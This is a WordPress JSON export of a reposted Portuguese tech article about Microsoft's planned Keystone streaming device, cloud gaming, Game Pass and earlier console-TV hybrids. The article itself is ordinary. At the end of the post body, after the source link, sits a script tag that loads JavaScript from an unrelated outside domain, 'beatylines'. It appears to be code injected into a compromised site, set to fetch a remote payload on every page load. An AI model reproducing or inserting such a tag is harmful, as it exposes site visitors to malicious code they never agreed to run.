{"id":1475,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/xbox-planeja-acessorio-para-jogar-sem-videogame-e-o-fim-do-console\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"xbox-planeja-acessorio-para-jogar-sem-videogame-e-o-fim-do-console","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/xbox-planeja-acessorio-para-jogar-sem-videogame-e-o-fim-do-console\/","title":{"rendered":"Xbox planeja acess\u00f3rio para jogar sem videogame. \u00c9 o fim do console?"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Esse \u00e9 um tema que, vira e mexe, volta aos holofotes: a morte dos consoles de videogames. E, novamente, quem est\u00e1 no centro das discuss\u00f5es \u00e9 a Microsoft, por meio da Xbox, sua divis\u00e3o de games.<\/p>\n<p>O primeiro passo nesse sentido veio com o lan\u00e7amento do Xbox Cloud Gaming, em setembro de 2021. Popularmente conhecido por xCloud, o servi\u00e7o permite utilizar dispositivos como celulares, tablets e at\u00e9 mesmo consoles Xbox para jogar games via streaming.<\/p>\n<p>Mas n\u00e3o confunda com servi\u00e7os como Xbox Game Pass, a nova PlayStation Plus e o Nintendo Switch Online. Nestes, a assinatura mensal d\u00e1 direito a baixar qualquer t\u00edtulo de uma biblioteca pr\u00e9-definida, rodado em um videogame ou no PC. No xCloud, nada \u00e9 baixado. O game roda em servidores remotos e o dispositivo do jogador \u00e9 respons\u00e1vel apenas por mostrar esse jogo na tela e retransmitir os comandos.<\/p>\n<p>Isso, por si s\u00f3, j\u00e1 dispensaria o uso de um console, mas a Microsoft planeja ir al\u00e9m. Seu mais recente prot\u00f3tipo \u00e9 um um dispositivo chamado Keystone, que \u00e9 plugado em uma TV e se comunicaria diretamente com o xCloud. Seria algo parecido com o <span>Chromecast,<\/span> do Google, ou o Fire TV Stick, da Amazon \u2014 mas para jogos, em vez de filmes e s\u00e9ries.<\/p>\n<p>Assim, seria poss\u00edvel ter uma experi\u00eancia bem pr\u00f3xima da obtida quando se utiliza um console, mas sem precisar comprar o aparelho nem utilizar fios e conex\u00f5es.<\/p>\n<p>O Keystone era um rumor antigo, mas foi confirmado por uma fonte an\u00f4nima ao <span>site<\/span> Windows Central. &#8220;Nosso objetivo \u00e9 permitir que as pessoas joguem os jogos que quiserem, nos dispositivos que quiserem, em qualquer lugar que quiserem&#8221;, afirmou. Ela n\u00e3o revelou uma previs\u00e3o de lan\u00e7amento.<\/p>\n<h2>Cada vez mais &#8220;servi\u00e7o&#8221;<\/h2>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/entretenimento\/19\/2020\/04\/25\/jogadores-enfrentam-hakkar-em-zulgurub-em-world-of-warcraft-1587785031498_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Jogadores enfrentam Hakkar em Zul'Gurub,  em World of Warcraft - Reprodu\u00e7\u00e3o\/WoWHead - Reprodu\u00e7\u00e3o\/WoWHead\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>World of Warcraft: exemplo bem-sucedido de &#8220;jogo como servi\u00e7o&#8221;<\/p>\n<p> <span>Imagem: Reprodu\u00e7\u00e3o\/WoWHead<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Apesar de parecer um passo revolucion\u00e1rio, o Keystone \u00e9 um exemplo de uma tend\u00eancia vista nos \u00faltimos anos: a ideia de tratar games como um servi\u00e7o, e n\u00e3o como uma &#8220;propriedade&#8221;. H\u00e1 muitos anos, games como World of Warcraft j\u00e1 adotam o modelo de neg\u00f3cio &#8220;pague uma assinatura, n\u00e3o o jogo&#8221;.<\/p>\n<p>O Xbox Game Pass segue no mesmo sentido. Desde 2020, ele ficou ainda mais ousado, passando a incluir v\u00e1rios games desde o dia de seu lan\u00e7amento oficial &#8211; acabando com um dos principais diferenciais dos jogos individuais. O consumidor encara uma d\u00favida sedutora: pagar cerca de R$ 299 por um \u00fanico jogo em sua estreia, ou R$ 29,99 por m\u00eas para ter acesso a v\u00e1rios jogos &#8212; inclusive essa novidade que ele quer?<\/p>\n<p>Claro que o Xbox Game Pass n\u00e3o acabou com as vendas de games individualmente. Por mais que tenha uma biblioteca diversa, h\u00e1 quem n\u00e3o encontre o seu favorito dispon\u00edvel. E o acesso n\u00e3o \u00e9 &#8220;para sempre&#8221;: voc\u00ea pode perd\u00ea-lo caso interrompa a assinatura, ou caso simplesmente a Microsoft decida retir\u00e1-lo do cat\u00e1logo. (No geral, eles ficam dispon\u00edveis por cerca de um ano.)<\/p>\n<p>Ainda assim, o servi\u00e7o teve um impacto enorme na ind\u00fastria, criando uma tend\u00eancia t\u00e3o ineg\u00e1vel que a concorrente PlayStation teve que se adaptar. Seu plano de assinaturas PS Plus adotou o mesmo formato do rival. No Brasil, essa atualiza\u00e7\u00e3o chega em 13 de junho.<\/p>\n<p>Em pa\u00edses como o Brasil, onde comprar um game novo acaba custando praticamente o mesmo cobrado pela assinatura de um ano, esse tipo de assinatura tamb\u00e9m ajuda a democratizar o acesso e fortalecer a produ\u00e7\u00e3o independente.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/entretenimento\/2e\/2021\/10\/05\/tela-do-windows-11-para-xbox-game-pass-1633458095202_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Tela do Windows 11 para Xbox Game Pass - Divulga\u00e7\u00e3o\/Microsoft - Divulga\u00e7\u00e3o\/Microsoft\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Tela do Windows 11 para Xbox Game Pass<\/p>\n<p> <span>Imagem: Divulga\u00e7\u00e3o\/Microsoft<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>Adeus, videogames?<\/h2>\n<p>Ser\u00e1 que o lan\u00e7amento do Microsoft Keystone tem o potencial de ir al\u00e9m do impacto causado pelo Xbox Game Pass? Ou seja, ser mais do que uma tend\u00eancia e, sim, uma revolu\u00e7\u00e3o que quebre um ciclo iniciado h\u00e1 50 anos pelo Odyssey, o primeiro aparelho dom\u00e9stico de videogames?<\/p>\n<p>Ainda que ele chegue por um pre\u00e7o muito mais convidativo do que o de um console e tenha uma ado\u00e7\u00e3o massiva, \u00e9 pouco prov\u00e1vel que os consoles deixem de existir. E por alguns motivos.<\/p>\n<p>Um deles \u00e9 que uma boa parcela de consumidores ainda busca uma experi\u00eancia mais tradicional, que envolve a propriedade do videogame e dos jogos. Eles s\u00e3o a explica\u00e7\u00e3o de porque a ind\u00fastria vende de games digitais h\u00e1 anos, mas jamais deixou de lan\u00e7ar vers\u00f5es f\u00edsicas.<\/p>\n<p>Fora isso, o streaming ainda n\u00e3o \u00e9 capaz de reproduzir a mesma experi\u00eancia de um console ou um PC. Entre outros problemas, por exemplo, h\u00e1 um inevit\u00e1vel atraso entre o momento em que o jogador d\u00e1 um comando no controle e a resposta do personagem no jogo a esse comando. \u00c9 algo impercept\u00edvel na maioria dos games, mas que pode incomodar jogadores mais exigentes, especialmente em t\u00edtulos que exigem mais precis\u00e3o, como games de tiro, corrida, ritmo e luta.<\/p>\n<p>A tentativa de incorporar videogames a outros aparelhos n\u00e3o \u00e9 uma ideia nova, ainda que com abordagens distintas &#8211; e, claro, limitados pela tecnologia da \u00e9poca.<\/p>\n<p>A japonesa Sharp lan\u00e7ou em 1983 a Sharp Nintendo Television, que unia uma TV de 14 ou 19 polegadas e um Famicom (o NES, popularmente conhecido por aqui como Nintendinho). Em 1990, ofereceu o Super Famicom Naizou TV SF1, que tinha tela de 14 ou 21 polegadas e embutia um Super Famicom (a vers\u00e3o japonesa do Super Nintendo).<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/bf\/2022\/05\/30\/super-famicom-naizou-tv-sf1-1653934576650_v2_750x421.png\" class=\"pinit-img\" alt=\"Super Famicom Naizou TV SF1 - Wikimedia Commons - Wikimedia Commons\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>A Super Famicom Naizou TV SF1 tinha um Super Famicom embutido e se destacava pela praticidade e qualidade de imagem<\/p>\n<p> <span>Imagem: Wikimedia Commons<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Ambos produziam imagens de melhor qualidade do que um videogame ligado tradicionalmente \u00e0 TV por meio de cabos. E, claro, economizavam espa\u00e7o e eliminavam os fios. Apesar disso, nunca se popularizaram.<\/p>\n<p>A Sony tamb\u00e9m tentou, com o PSX (ou PlayStation X), em 2003. Era uma esp\u00e9cie de central multim\u00eddia com v\u00e1rias fun\u00e7\u00f5es, como grava\u00e7\u00e3o de DVDs, capacidade de sintonizar sinal de TV e armazenar arquivos de m\u00eddia. E tamb\u00e9m era um PlayStation 2, um dos consoles mais populares de todos os tempos. Bastava conectar dois controles de PS2 e inserir o disco do jogo.<\/p>\n<p>Na pr\u00e1tica, por\u00e9m, o PSX ficou restrito ao Jap\u00e3o e teve vida curta. Foi descontinuado em 2005.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/entretenimento\/26\/2021\/03\/03\/psx-ps2-1614805813121_v2_750x421.jpg\" class=\"pinit-img\" alt=\"PSX PS2 - Reprodu\u00e7\u00e3o - Reprodu\u00e7\u00e3o\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>O PSX foi uma aposta da Sony para ter um &#8220;tudo em um&#8221;: era gravador e reprodutor de DVDs, sintonizava TV e funcionava como um PS2<\/p>\n<p> <span>Imagem: Reprodu\u00e7\u00e3o<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Por fim, h\u00e1 uma quest\u00e3o fundamental: uma vez que \u00e9 obra da Microsoft, o Keystone deve se limitar a ser uma interface para o xCloud apenas.<\/p>\n<p>Sony e Nintendo podem at\u00e9 lan\u00e7ar suas vers\u00f5es no futuro, mas at\u00e9 que isso ocorra (se ocorrer), f\u00e3s de franquias extremamente populares, como God of War e Mario, ainda ter\u00e3o que recorrer aos consoles desses fabricantes (ou a um PC, no caso de alguns jogos da Sony).<\/p>\n<p>Nada disso, por\u00e9m, quer dizer que o Keystone est\u00e1 fadado ao fracasso, muito pelo contr\u00e1rio. A ideia de democratizar, baratear e, acima de tudo, facilitar o acesso aos games \u00e9 uma cartada excelente da Microsoft, que a consolida como a empresa que dita os rumos do setor.<\/p>\n<p>A se confirmar o seu lan\u00e7amento, o Keystone tem tudo para ser um passo inovador na ind\u00fastria, mas ainda \u00e9 cedo demais para cravarmos que ele representa uma revolu\u00e7\u00e3o capaz de mudar por completo uma ind\u00fastria com meio s\u00e9culo de exist\u00eancia.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/06\/03\/fim-dos-consoles-xbox-planeja-acessorio-que-permite-jogar-sem-videogame.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esse \u00e9 um tema que, vira e mexe, volta aos holofotes: a morte dos consoles de videogames. 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